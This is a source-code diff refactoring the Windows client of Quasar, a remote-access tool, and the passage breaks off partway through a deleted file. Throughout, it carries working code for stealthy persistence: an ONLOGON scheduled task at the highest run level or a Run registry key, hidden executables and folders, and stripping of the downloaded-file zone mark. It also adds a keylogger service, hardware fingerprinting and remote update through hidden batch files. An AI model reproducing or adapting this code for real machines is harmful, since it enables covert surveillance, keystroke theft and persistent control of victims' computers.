diff --git a/Quasar.Client/Extensions/ProcessExtensions.cs b/Quasar.Client/Extensions/ProcessExtensions.cs new file mode 100644 index 00000000..072b5ae7 --- /dev/null +++ b/Quasar.Client/Extensions/ProcessExtensions.cs @@ -0,0 +1,19 @@ +using Quasar.Client.Utilities; +using System.Diagnostics; +using System.Text; + +namespace Quasar.Client.Extensions +{ + public static class ProcessExtensions + { + public static string GetMainModuleFileName(this Process proc) + { + uint nChars = 260; + StringBuilder buffer = new StringBuilder((int)nChars); + + var success = NativeMethods.QueryFullProcessImageName(proc.Handle, 0, buffer, ref nChars); + + return success ? buffer.ToString() : null; + } + } +} diff --git a/Quasar.Client/Helper/NativeMethodsHelper.cs b/Quasar.Client/Helper/NativeMethodsHelper.cs index 57943108..af10fdf5 100644 --- a/Quasar.Client/Helper/NativeMethodsHelper.cs +++ b/Quasar.Client/Helper/NativeMethodsHelper.cs @@ -1,8 +1,8 @@ -using System; +using Quasar.Client.Utilities; +using System; using System.Drawing; using System.Runtime.InteropServices; using System.Text; -using Quasar.Client.Utilities; namespace Quasar.Client.Helper { @@ -21,8 +21,8 @@ public static uint GetLastInputInfoTickCount() NativeMethods.LASTINPUTINFO lastInputInfo = new NativeMethods.LASTINPUTINFO(); lastInputInfo.cbSize = (uint) Marshal.SizeOf(lastInputInfo); lastInputInfo.dwTime = 0; - - return NativeMethods.GetLastInputInfo(ref lastInputInfo) ? lastInputInfo.dwTime : 0; + NativeMethods.GetLastInputInfo(ref lastInputInfo); + return lastInputInfo.dwTime; } public static void DoMouseLeftClick(Point p, bool isMouseDown) diff --git a/Quasar.Client/Helper/WindowsAccountHelper.cs b/Quasar.Client/Helper/WindowsAccountHelper.cs deleted file mode 100644 index ec3b0ef9..00000000 --- a/Quasar.Client/Helper/WindowsAccountHelper.cs +++ /dev/null @@ -1,33 +0,0 @@ -using System; -using System.Security.Principal; - -namespace Quasar.Client.Helper -{ - public static class WindowsAccountHelper - { - public static string GetName() - { - return Environment.UserName; - } - - public static string GetAccountType() - { - using (WindowsIdentity identity = WindowsIdentity.GetCurrent()) - { - if (identity != null) - { - WindowsPrincipal principal = new WindowsPrincipal(identity); - - if (principal.IsInRole(WindowsBuiltInRole.Administrator)) - return "Admin"; - if (principal.IsInRole(WindowsBuiltInRole.User)) - return "User"; - if (principal.IsInRole(WindowsBuiltInRole.Guest)) - return "Guest"; - } - } - - return "Unknown"; - } - } -} diff --git a/Quasar.Client/Helper/DevicesHelper.cs b/Quasar.Client/IO/HardwareDevices.cs similarity index 64% rename from Quasar.Client/Helper/DevicesHelper.cs rename to Quasar.Client/IO/HardwareDevices.cs index f111d5ae..a75c2c1c 100644 --- a/Quasar.Client/Helper/DevicesHelper.cs +++ b/Quasar.Client/IO/HardwareDevices.cs @@ -6,18 +6,85 @@ using System.Net.NetworkInformation; using System.Net.Sockets; -namespace Quasar.Client.Helper +namespace Quasar.Client.IO { - public static class DevicesHelper + /// + /// Provides access to retrieve information about the used hardware devices. + /// + /// Caches the retrieved information to reduce the slowdown of the slow WMI queries. + public static class HardwareDevices { - public static string HardwareId { get; private set; } + /// + /// Gets a unique hardware id as a combination of various hardware components. + /// + public static string HardwareId => _hardwareId ?? (_hardwareId = Sha256.ComputeHash(CpuName + MainboardName + BiosManufacturer)); - static DevicesHelper() - { - HardwareId = Sha256.ComputeHash(GetCpuName() + GetMainboardIdentifier() + GetBiosIdentifier()); - } + /// + /// Used to cache the hardware id. + /// + private static string _hardwareId; - public static string GetBiosIdentifier() + /// + /// Gets the name of the system CPU. + /// + public static string CpuName => _cpuName ?? (_cpuName = GetCpuName()); + + /// + /// Used to cache the CPU name. + /// + private static string _cpuName; + + /// + /// Gets the name of the GPU. + /// + public static string GpuName => _gpuName ?? (_gpuName = GetGpuName()); + + /// + /// Used to cache the GPU name. + /// + private static string _gpuName; + + /// + /// Gets the name of the BIOS manufacturer. + /// + public static string BiosManufacturer => _biosManufacturer ?? (_biosManufacturer = GetBiosManufacturer()); + + /// + /// Used to cache the BIOS manufacturer. + /// + private static string _biosManufacturer; + + /// + /// Gets the name of the mainboard. + /// + public static string MainboardName => _mainboardName ?? (_mainboardName = GetMainboardName()); + + /// + /// Used to cache the mainboard name. + /// + private static string _mainboardName; + + /// + /// Gets the total physical memory of the system in megabytes (MB). + /// + public static int? TotalPhysicalMemory => _totalPhysicalMemory ?? (_totalPhysicalMemory = GetTotalPhysicalMemoryInMb()); + + /// + /// Used to cache the total physical memory. + /// + private static int? _totalPhysicalMemory; + + /// + /// Gets the LAN IP address of the network interface. + /// + public static string LanIpAddress => GetLanIpAddress(); + + /// + /// Gets the MAC address of the network interface. + /// + public static string MacAddress => GetMacAddress(); + + private static string GetBiosManufacturer() { try { @@ -42,7 +109,7 @@ public static string GetBiosIdentifier() return "Unknown"; } - public static string GetMainboardIdentifier() + private static string GetMainboardName() { try { @@ -53,7 +120,7 @@ public static string GetMainboardIdentifier() { foreach (ManagementObject mObject in searcher.Get()) { - mainboardIdentifier = mObject["Manufacturer"].ToString() + mObject["SerialNumber"].ToString(); + mainboardIdentifier = mObject["Manufacturer"].ToString() + " " + mObject["Product"].ToString(); break; } } @@ -67,7 +134,7 @@ public static string GetMainboardIdentifier() return "Unknown"; } - public static string GetCpuName() + private static string GetCpuName() { try { @@ -92,7 +159,7 @@ public static string GetCpuName() return "Unknown"; } - public static int GetTotalRamAmount() + private static int GetTotalPhysicalMemoryInMb() { try { @@ -104,7 +171,7 @@ public static int GetTotalRamAmount() foreach (ManagementObject mObject in searcher.Get()) { double bytes = (Convert.ToDouble(mObject["TotalPhysicalMemory"])); - installedRAM = (int)(bytes / 1048576); + installedRAM = (int)(bytes / 1048576); // bytes to MB break; } } @@ -117,7 +184,7 @@ public static int GetTotalRamAmount() } } - public static string GetGpuName() + private static string GetGpuName() { try { @@ -141,8 +208,9 @@ public static string GetGpuName() } } - public static string GetLanIp() + private static string GetLanIpAddress() { + // TODO: support multiple network interfaces foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces()) { GatewayIPAddressInformation gatewayAddress = ni.GetIPProperties().GatewayAddresses.FirstOrDefault(); @@ -167,7 +235,7 @@ public static string GetLanIp() return "-"; } - public static string GetMacAddress() + private static string GetMacAddress() { foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces()) { @@ -182,7 +250,7 @@ public static string GetMacAddress() ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses continue; - foundCorrect = (ip.Address.ToString() == GetLanIp()); + foundCorrect = (ip.Address.ToString() == GetLanIpAddress()); } if (foundCorrect) diff --git a/Quasar.Client/Logging/KeyloggerService.cs b/Quasar.Client/Logging/KeyloggerService.cs index bf52cb5d..5dbb54b7 100644 --- a/Quasar.Client/Logging/KeyloggerService.cs +++ b/Quasar.Client/Logging/KeyloggerService.cs @@ -21,7 +21,7 @@ public KeyloggerService() }); } - public void StartService() + public void Start() { _msgLoopThread.Start(); } diff --git a/Quasar.Client/Messages/ClientServicesHandler.cs b/Quasar.Client/Messages/ClientServicesHandler.cs index b4c827e3..e88bad78 100644 --- a/Quasar.Client/Messages/ClientServicesHandler.cs +++ b/Quasar.Client/Messages/ClientServicesHandler.cs @@ -1,4 +1,5 @@ -using Quasar.Client.Config; +using System; +using Quasar.Client.Config; using Quasar.Client.Helper; using Quasar.Client.Networking; using Quasar.Client.Setup; @@ -7,6 +8,8 @@ using Quasar.Common.Networking; using System.Diagnostics; using System.Windows.Forms; +using Quasar.Client.User; +using Quasar.Common.Enums; namespace Quasar.Client.Messages { @@ -54,8 +57,15 @@ public override void Execute(ISender sender, IMessage message) private void Execute(ISender client, DoClientUninstall message) { client.Send(new SetStatus { Message = "Uninstalling... good bye :-(" }); - - new ClientUninstaller().Uninstall(client); + try + { + new ClientUninstaller().Uninstall(); + _client.Exit(); + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Uninstall failed: {ex.Message}" }); + } } private void Execute(ISender client, DoClientDisconnect message) @@ -70,7 +80,8 @@ private void Execute(ISender client, DoClientReconnect message) private void Execute(ISender client, DoAskElevate message) { - if (WindowsAccountHelper.GetAccountType() != "Admin") + var userAccount = new UserAccount(); + if (userAccount.Type != AccountType.Admin) { ProcessStartInfo processStartInfo = new ProcessStartInfo { diff --git a/Quasar.Client/Messages/FileManagerHandler.cs b/Quasar.Client/Messages/FileManagerHandler.cs index 9ada231c..e7777b55 100644 --- a/Quasar.Client/Messages/FileManagerHandler.cs +++ b/Quasar.Client/Messages/FileManagerHandler.cs @@ -1,5 +1,5 @@ using Quasar.Client.Networking; -using Quasar.Client.Utilities; +using Quasar.Common; using Quasar.Common.Enums; using Quasar.Common.Extensions; using Quasar.Common.Helpers; diff --git a/Quasar.Client/Messages/SystemInformationHandler.cs b/Quasar.Client/Messages/SystemInformationHandler.cs index a1043c4d..cb020f24 100644 --- a/Quasar.Client/Messages/SystemInformationHandler.cs +++ b/Quasar.Client/Messages/SystemInformationHandler.cs @@ -1,11 +1,13 @@ using Quasar.Client.Helper; using Quasar.Client.IpGeoLocation; +using Quasar.Client.User; using Quasar.Common.Messages; using Quasar.Common.Networking; using System; using System.Collections.Generic; using System.IO; using System.Net.NetworkInformation; +using Quasar.Client.IO; namespace Quasar.Client.Messages { @@ -39,21 +41,22 @@ private void Execute(ISender client, GetSystemInfo message) var hostName = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-"; var geoInfo = GeoInformationFactory.GetGeoInformation(); + var userAccount = new UserAccount(); List> lstInfos = new List> { - new Tuple("Processor (CPU)", DevicesHelper.GetCpuName()), - new Tuple("Memory (RAM)", $"{DevicesHelper.GetTotalRamAmount()} MB"), - new Tuple("Video Card (GPU)", DevicesHelper.GetGpuName()), - new Tuple("Username", WindowsAccountHelper.GetName()), + new Tuple("Processor (CPU)", HardwareDevices.CpuName), + new Tuple("Memory (RAM)", $"{HardwareDevices.TotalPhysicalMemory} MB"), + new Tuple("Video Card (GPU)", HardwareDevices.GpuName), + new Tuple("Username", userAccount.UserName), new Tuple("PC Name", SystemHelper.GetPcName()), new Tuple("Domain Name", domainName), new Tuple("Host Name", hostName), new Tuple("System Drive", Path.GetPathRoot(Environment.SystemDirectory)), new Tuple("System Directory", Environment.SystemDirectory), new Tuple("Uptime", SystemHelper.GetUptime()), - new Tuple("MAC Address", DevicesHelper.GetMacAddress()), - new Tuple("LAN IP Address", DevicesHelper.GetLanIp()), + new Tuple("MAC Address", HardwareDevices.MacAddress), + new Tuple("LAN IP Address", HardwareDevices.LanIpAddress), new Tuple("WAN IP Address", geoInfo.IpAddress), new Tuple("ASN", geoInfo.Asn), new Tuple("ISP", geoInfo.Isp), diff --git a/Quasar.Client/Messages/TaskManagerHandler.cs b/Quasar.Client/Messages/TaskManagerHandler.cs index 890a50fe..561d63cb 100644 --- a/Quasar.Client/Messages/TaskManagerHandler.cs +++ b/Quasar.Client/Messages/TaskManagerHandler.cs @@ -1,6 +1,6 @@ using Quasar.Client.Networking; using Quasar.Client.Setup; -using Quasar.Client.Utilities; +using Quasar.Common; using Quasar.Common.Enums; using Quasar.Common.Helpers; using Quasar.Common.Messages; @@ -97,20 +97,23 @@ private void Execute(ISender client, DoProcessStart message) } } - try + if (message.IsUpdate) { - if (message.IsUpdate) + try { - if (ClientUpdater.Update(client, filePath)) - { - _client.Exit(); - } - else - { - throw new Exception("Update failed"); - } + var clientUpdater = new ClientUpdater(); + clientUpdater.Update(filePath); + _client.Exit(); } - else + catch (Exception ex) + { + NativeMethods.DeleteFile(filePath); + client.Send(new SetStatus { Message = $"Update failed: {ex.Message}" }); + } + } + else + { + try { ProcessStartInfo startInfo = new ProcessStartInfo { @@ -118,12 +121,13 @@ private void Execute(ISender client, DoProcessStart message) FileName = filePath }; Process.Start(startInfo); + client.Send(new DoProcessResponse {Action = ProcessAction.Start, Result = true}); } - client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = true }); - } - catch - { - client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + catch (Exception) + { + client.Send(new DoProcessResponse {Action = ProcessAction.Start, Result = false}); + } + } }).Start(); } diff --git a/Quasar.Client/Networking/QuasarClient.cs b/Quasar.Client/Networking/QuasarClient.cs index 6735cbdf..c5bc975d 100644 --- a/Quasar.Client/Networking/QuasarClient.cs +++ b/Quasar.Client/Networking/QuasarClient.cs @@ -1,6 +1,9 @@ using Quasar.Client.Config; using Quasar.Client.Helper; +using Quasar.Client.IO; using Quasar.Client.IpGeoLocation; +using Quasar.Client.User; +using Quasar.Common.DNS; using Quasar.Common.Helpers; using Quasar.Common.Messages; using Quasar.Common.Utilities; @@ -8,8 +11,6 @@ using System.Diagnostics; using System.Security.Cryptography.X509Certificates; using System.Threading; -using System.Windows.Forms; -using Quasar.Common.DNS; namespace Quasar.Client.Networking { @@ -40,21 +41,14 @@ public void ConnectLoop() { if (!Connected) { - Thread.Sleep(100 + _random.Next(0, 250)); - Host host = _hosts.GetNextHost(); base.Connect(host.IpAddress, host.Port); - - Thread.Sleep(200); - - Application.DoEvents(); } while (Connected) // hold client open { - Application.DoEvents(); - Thread.Sleep(2500); + Thread.Sleep(1000); } if (Exiting) @@ -97,17 +91,18 @@ private void OnClientState(Client client, bool connected) // send client identification once connected var geoInfo = GeoInformationFactory.GetGeoInformation(); + var userAccount = new UserAccount(); client.Send(new ClientIdentification { Version = Settings.VERSION, OperatingSystem = PlatformHelper.FullName, - AccountType = WindowsAccountHelper.GetAccountType(), + AccountType = nameof(userAccount.Type), Country = geoInfo.Country, CountryCode = geoInfo.CountryCode, ImageIndex = geoInfo.ImageIndex, - Id = DevicesHelper.HardwareId, - Username = WindowsAccountHelper.GetName(), + Id = HardwareDevices.HardwareId, + Username = userAccount.UserName, PcName = SystemHelper.GetPcName(), Tag = Settings.TAG, EncryptionKey = Settings.ENCRYPTIONKEY, diff --git a/Quasar.Client/Program.cs b/Quasar.Client/Program.cs index 3f4800c3..40727280 100644 --- a/Quasar.Client/Program.cs +++ b/Quasar.Client/Program.cs @@ -14,7 +14,10 @@ private static void Main(string[] args) Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); - new QuasarApplication().Run(); + using (var app = new QuasarApplication()) + { + app.Run(); + } } } } diff --git a/Quasar.Client/QuasarApplication.cs b/Quasar.Client/QuasarApplication.cs index 9df62803..7300839d 100644 --- a/Quasar.Client/QuasarApplication.cs +++ b/Quasar.Client/QuasarApplication.cs @@ -4,6 +4,7 @@ using Quasar.Client.Messages; using Quasar.Client.Networking; using Quasar.Client.Setup; +using Quasar.Client.User; using Quasar.Client.Utilities; using Quasar.Common.DNS; using Quasar.Common.Helpers; @@ -11,70 +12,124 @@ using System; using System.Collections.Generic; using System.Diagnostics; -using System.IO; using System.Windows.Forms; namespace Quasar.Client { - public class QuasarApplication + /// + /// The client application which handles basic bootstrapping of the message processors and background tasks. + /// + public class QuasarApplication : IDisposable { + /// + /// A system-wide mutex that ensures that only one instance runs at a time. + /// public SingleInstanceMutex ApplicationMutex; + + /// + /// The client used for the connection to the server. + /// public QuasarClient ConnectClient; + + /// + /// List of to keep track of all used message processors. + /// private readonly List _messageProcessors; + + /// + /// The background keylogger service used to capture and store keystrokes. + /// private KeyloggerService _keyloggerService; + /// + /// Keeps track of the user activity. + /// + private ActivityDetection _userActivityDetection; + + /// + /// Determines whether an installation is required depending on the current and target paths. + /// private bool IsInstallationRequired => Settings.INSTALL && Settings.INSTALLPATH != Application.ExecutablePath; + /// + /// Initializes a new instance of the class. + /// public QuasarApplication() { AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException; _messageProcessors = new List(); } + /// + /// Begins running the application. + /// public void Run() { // decrypt and verify the settings - if (Settings.Initialize()) + if (!Settings.Initialize()) return; + + ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); + + // check if process with same mutex is already running on system + if (!ApplicationMutex.CreatedNew) return; + + FileHelper.DeleteZoneIdentifier(Application.ExecutablePath); + + var installer = new ClientInstaller(); + + if (IsInstallationRequired) { - ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); + // close mutex before installing the client + ApplicationMutex.Dispose(); - // check if process with same mutex is already running on system - if (ApplicationMutex.CreatedNew) + try { - FileHelper.DeleteZoneIdentifier(Application.ExecutablePath); - - if (IsInstallationRequired) - { - // close mutex before installing the client - ApplicationMutex.Dispose(); - new ClientInstaller().Install(); - } - else - { - // (re)apply settings and proceed with connect loop - ApplySettings(); - var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS)); - ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); - InitializeMessageProcessors(ConnectClient); - ConnectClient.ConnectLoop(); - } + installer.Install(); + } + catch (Exception e) + { + Debug.WriteLine(e); } } + else + { + try + { + // (re)apply settings and proceed with connect loop + installer.ApplySettings(); + } + catch (Exception e) + { + Debug.WriteLine(e); + } - Cleanup(); - Exit(); - } - - private static void Exit() - { - // Don't wait for other threads - Environment.Exit(0); + if (Settings.ENABLELOGGER) + { + _keyloggerService = new KeyloggerService(); + _keyloggerService.Start(); + } + + var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS)); + ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); + InitializeMessageProcessors(ConnectClient); + + _userActivityDetection = new ActivityDetection(ConnectClient); + _userActivityDetection.Start(); + + ConnectClient.ConnectLoop(); + } } + /// + /// Handles unhandled exceptions by restarting the application and hoping that they don't happen again. + /// + /// The source of the unhandled exception event. + /// The exception event arguments. private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e) { if (e.IsTerminating) { + Debug.WriteLine(e); string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath); if (string.IsNullOrEmpty(batchFile)) return; @@ -85,17 +140,14 @@ private static void HandleUnhandledException(object sender, UnhandledExceptionEv FileName = batchFile }; Process.Start(startInfo); - Exit(); + Environment.Exit(0); } } - private void Cleanup() - { - CleanupMessageProcessors(); - _keyloggerService?.Dispose(); - ApplicationMutex.Dispose(); - } - + /// + /// Adds all message processors to and registers them in the . + /// + /// The client which handles the connection. private void InitializeMessageProcessors(QuasarClient client) { _messageProcessors.Add(new ClientServicesHandler(this, client)); @@ -112,13 +164,15 @@ private void InitializeMessageProcessors(QuasarClient client) _messageProcessors.Add(new SystemInformationHandler()); _messageProcessors.Add(new TaskManagerHandler(client)); _messageProcessors.Add(new TcpConnectionsHandler(client)); - _messageProcessors.Add(new UserStatusHandler(client)); _messageProcessors.Add(new WebsiteVisitorHandler()); foreach (var msgProc in _messageProcessors) MessageHandler.Register(msgProc); } + /// + /// Disposes all message processors of and unregisters them from the . + /// private void CleanupMessageProcessors() { foreach (var msgProc in _messageProcessors) @@ -128,44 +182,28 @@ private void CleanupMessageProcessors() } } - private void ApplySettings() + /// + /// Releases all resources used by this . + /// + public void Dispose() { - FileHelper.DeleteZoneIdentifier(Application.ExecutablePath); + Dispose(true); + GC.SuppressFinalize(this); + } - if (Settings.STARTUP) + /// + /// Releases all allocated message processors, services and other resources. + /// + /// True if called from , false if called from the finalizer. + protected virtual void Dispose(bool disposing) + { + if (disposing) { - Startup.AddToStartup(); - } - - if (Settings.INSTALL && Settings.HIDEFILE) - { - try - { - File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden); - } - catch (Exception) - { - } - } - - if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY)) - { - try - { - DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(Settings.INSTALLPATH)); - di.Attributes |= FileAttributes.Hidden; - } - catch (Exception) - { - } - } - - if (Settings.ENABLELOGGER) - { - _keyloggerService = new KeyloggerService(); - _keyloggerService.StartService(); + CleanupMessageProcessors(); + _keyloggerService?.Dispose(); + _userActivityDetection?.Dispose(); + ApplicationMutex.Dispose(); } } - } } diff --git a/Quasar.Client/Setup/ClientInstaller.cs b/Quasar.Client/Setup/ClientInstaller.cs index 0dbe926f..54e56369 100644 --- a/Quasar.Client/Setup/ClientInstaller.cs +++ b/Quasar.Client/Setup/ClientInstaller.cs @@ -1,4 +1,5 @@ using Quasar.Client.Config; +using Quasar.Client.Extensions; using Quasar.Common.Helpers; using System; using System.Diagnostics; @@ -8,25 +9,50 @@ namespace Quasar.Client.Setup { - public class ClientInstaller + public class ClientInstaller : ClientSetupBase { - public void Install() + public void ApplySettings() { - bool isKilled = false; + if (Settings.STARTUP) + { + var clientStartup = new ClientStartup(); + clientStartup.AddToStartup(Application.ExecutablePath, Settings.STARTUPKEY); + } - // create target dir - if (!Directory.Exists(Path.GetDirectoryName(Settings.INSTALLPATH))) + if (Settings.INSTALL && Settings.HIDEFILE) { try { - Directory.CreateDirectory(Path.GetDirectoryName(Settings.INSTALLPATH)); + File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden); } - catch (Exception) + catch (Exception ex) { - return; + Debug.WriteLine(ex); } } + if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY)) + { + try + { + DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(Settings.INSTALLPATH)); + di.Attributes |= FileAttributes.Hidden; + } + catch (Exception ex) + { + Debug.WriteLine(ex); + } + } + } + + public void Install() + { + // create target dir + if (!Directory.Exists(Path.GetDirectoryName(Settings.INSTALLPATH))) + { + Directory.CreateDirectory(Path.GetDirectoryName(Settings.INSTALLPATH)); + } + // delete existing file if (File.Exists(Settings.INSTALLPATH)) { @@ -38,47 +64,27 @@ public void Install() { if (ex is IOException || ex is UnauthorizedAccessException) { - // kill old process if new mutex + // kill old process running at destination path Process[] foundProcesses = Process.GetProcessesByName(Path.GetFileNameWithoutExtension(Settings.INSTALLPATH)); int myPid = Process.GetCurrentProcess().Id; foreach (var prc in foundProcesses) { + // dont kill own process if (prc.Id == myPid) continue; + // only kill the process at the destination path + if (prc.GetMainModuleFileName() != Settings.INSTALLPATH) continue; prc.Kill(); - isKilled = true; + Thread.Sleep(2000); + break; } } } } - if (isKilled) Thread.Sleep(5000); + File.Copy(Application.ExecutablePath, Settings.INSTALLPATH, true); - //copy client to target dir - try - { - File.Copy(Application.ExecutablePath, Settings.INSTALLPATH, true); - } - catch (Exception) - { - return; - } - - if (Settings.STARTUP) - { - Startup.AddToStartup(); - } - - if (Settings.HIDEFILE) - { - try - { - File.SetAttributes(Settings.INSTALLPATH, FileAttributes.Hidden); - } - catch (Exception) - { - } - } + ApplySettings(); FileHelper.DeleteZoneIdentifier(Settings.INSTALLPATH); @@ -90,13 +96,7 @@ public void Install() UseShellExecute = false, FileName = Settings.INSTALLPATH }; - try - { - Process.Start(startInfo); - } - catch (Exception) - { - } + Process.Start(startInfo); } } } diff --git a/Quasar.Client/Setup/ClientSetupBase.cs b/Quasar.Client/Setup/ClientSetupBase.cs new file mode 100644 index 00000000..ea84bc27 --- /dev/null +++ b/Quasar.Client/Setup/ClientSetupBase.cs @@ -0,0 +1,14 @@ +using Quasar.Client.User; + +namespace Quasar.Client.Setup +{ + public abstract class ClientSetupBase + { + protected UserAccount UserAccount; + + protected ClientSetupBase() + { + UserAccount = new UserAccount(); + } + } +} diff --git a/Quasar.Client/Setup/ClientStartup.cs b/Quasar.Client/Setup/ClientStartup.cs new file mode 100644 index 00000000..8774aceb --- /dev/null +++ b/Quasar.Client/Setup/ClientStartup.cs @@ -0,0 +1,52 @@ +using Microsoft.Win32; +using Quasar.Client.Helper; +using Quasar.Common.Enums; +using System.Diagnostics; + +namespace Quasar.Client.Setup +{ + public class ClientStartup : ClientSetupBase + { + public void AddToStartup(string executablePath, string startupName) + { + if (UserAccount.Type == AccountType.Admin) + { + ProcessStartInfo startInfo = new ProcessStartInfo("schtasks") + { + Arguments = "/create /tn \"" + startupName + "\" /sc ONLOGON /tr \"" + executablePath + + "\" /rl HIGHEST /f", + UseShellExecute = false, + CreateNoWindow = true + }; + + Process p = Process.Start(startInfo); + p.WaitForExit(1000); + if (p.ExitCode == 0) return; + } + + RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName, executablePath, + true); + } + + public void RemoveFromStartup(string startupName) + { + if (UserAccount.Type == AccountType.Admin) + { + ProcessStartInfo startInfo = new ProcessStartInfo("schtasks") + { + Arguments = "/delete /tn \"" + startupName + "\" /f", + UseShellExecute = false, + CreateNoWindow = true + }; + + Process p = Process.Start(startInfo); + p.WaitForExit(1000); + if (p.ExitCode == 0) return; + } + + RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName); + } + } +} diff --git a/Quasar.Client/Setup/ClientUninstaller.cs b/Quasar.Client/Setup/ClientUninstaller.cs index c384736d..66910df1 100644 --- a/Quasar.Client/Setup/ClientUninstaller.cs +++ b/Quasar.Client/Setup/ClientUninstaller.cs @@ -1,42 +1,33 @@ using Quasar.Client.Config; using Quasar.Client.IO; -using Quasar.Common.Messages; -using Quasar.Common.Networking; using System; using System.Diagnostics; using System.Windows.Forms; namespace Quasar.Client.Setup { - public class ClientUninstaller + public class ClientUninstaller : ClientSetupBase { - public bool Uninstall(ISender client) + public void Uninstall() { - try + if (Settings.STARTUP) { - if (Settings.STARTUP) - Startup.RemoveFromStartup(); - - string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath, Settings.LOGSPATH); - - if (string.IsNullOrEmpty(batchFile)) - throw new Exception("Could not create uninstall-batch file"); - - ProcessStartInfo startInfo = new ProcessStartInfo - { - WindowStyle = ProcessWindowStyle.Hidden, - UseShellExecute = true, - FileName = batchFile - }; - Process.Start(startInfo); - - return true; + var clientStartup = new ClientStartup(); + clientStartup.RemoveFromStartup(Settings.STARTUPKEY); } - catch (Exception ex) + + string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath, Settings.LOGSPATH); + + if (string.IsNullOrEmpty(batchFile)) + throw new Exception("Could not create uninstall-batch file."); + + ProcessStartInfo startInfo = new ProcessStartInfo { - client.Send(new SetStatus {Message = $"Uninstall failed: {ex.Message}"}); - return false; - } + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); } } } diff --git a/Quasar.Client/Setup/ClientUpdater.cs b/Quasar.Client/Setup/ClientUpdater.cs index 65923880..6481381a 100644 --- a/Quasar.Client/Setup/ClientUpdater.cs +++ b/Quasar.Client/Setup/ClientUpdater.cs @@ -1,9 +1,6 @@ using Quasar.Client.Config; using Quasar.Client.IO; -using Quasar.Client.Utilities; using Quasar.Common.Helpers; -using Quasar.Common.Messages; -using Quasar.Common.Networking; using System; using System.Diagnostics; using System.IO; @@ -11,41 +8,33 @@ namespace Quasar.Client.Setup { - public static class ClientUpdater + public class ClientUpdater : ClientSetupBase { - public static bool Update(ISender client, string newFilePath) + public void Update(string newFilePath) { - try + FileHelper.DeleteZoneIdentifier(newFilePath); + + var bytes = File.ReadAllBytes(newFilePath); + if (!FileHelper.HasExecutableIdentifier(bytes)) + throw new Exception("No executable file."); + + string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath); + + if (string.IsNullOrEmpty(batchFile)) + throw new Exception("Could not create update batch file."); + + ProcessStartInfo startInfo = new ProcessStartInfo { - FileHelper.DeleteZoneIdentifier(newFilePath); + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); - var bytes = File.ReadAllBytes(newFilePath); - if (!FileHelper.HasExecutableIdentifier(bytes)) - throw new Exception("no pe file"); - - string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath); - - if (string.IsNullOrEmpty(batchFile)) - throw new Exception("Could not create update batch file."); - - ProcessStartInfo startInfo = new ProcessStartInfo - { - WindowStyle = ProcessWindowStyle.Hidden, - UseShellExecute = true, - FileName = batchFile - }; - Process.Start(startInfo); - - if (Settings.STARTUP) - Startup.RemoveFromStartup(); - - return true; - } - catch (Exception ex) + if (Settings.STARTUP) { - NativeMethods.DeleteFile(newFilePath); - client.Send(new SetStatus {Message = $"Update failed: {ex.Message}"}); - return false; + var clientStartup = new ClientStartup(); + clientStartup.RemoveFromStartup(Settings.STARTUPKEY); } } } diff --git a/Quasar.Client/Setup/Startup.cs b/Quasar.Client/Setup/Startup.cs deleted file mode 100644 index 845bf403..00000000 --- a/Quasar.Client/Setup/Startup.cs +++ /dev/null @@ -1,76 +0,0 @@ -using Microsoft.Win32; -using Quasar.Client.Config; -using Quasar.Client.Helper; -using System; -using System.Diagnostics; -using System.Windows.Forms; - -namespace Quasar.Client.Setup -{ - public static class Startup - { - public static bool AddToStartup() - { - if (WindowsAccountHelper.GetAccountType() == "Admin") - { - try - { - ProcessStartInfo startInfo = new ProcessStartInfo("schtasks") - { - Arguments = "/create /tn \"" + Settings.STARTUPKEY + "\" /sc ONLOGON /tr \"" + Application.ExecutablePath + "\" /rl HIGHEST /f", - UseShellExecute = false, - CreateNoWindow = true - }; - - Process p = Process.Start(startInfo); - p.WaitForExit(1000); - if (p.ExitCode == 0) return true; - } - catch (Exception) - { - } - - return RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, - "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, Application.ExecutablePath, - true); - } - else - { - return RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, - "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, Application.ExecutablePath, - true); - } - } - - public static bool RemoveFromStartup() - { - if (WindowsAccountHelper.GetAccountType() == "Admin") - { - try - { - 